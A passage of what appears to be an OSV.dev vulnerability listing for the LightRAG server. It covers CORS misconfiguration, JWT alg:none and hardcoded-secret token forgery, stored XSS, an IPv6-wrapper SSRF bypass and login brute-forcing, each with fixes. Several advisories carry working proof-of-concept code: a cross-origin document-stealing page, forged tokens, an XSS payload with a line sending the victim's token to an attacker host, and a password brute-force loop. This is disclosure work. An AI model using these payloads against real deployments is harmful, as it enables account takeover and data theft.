Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 08, 2025

1.4.8rc4 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


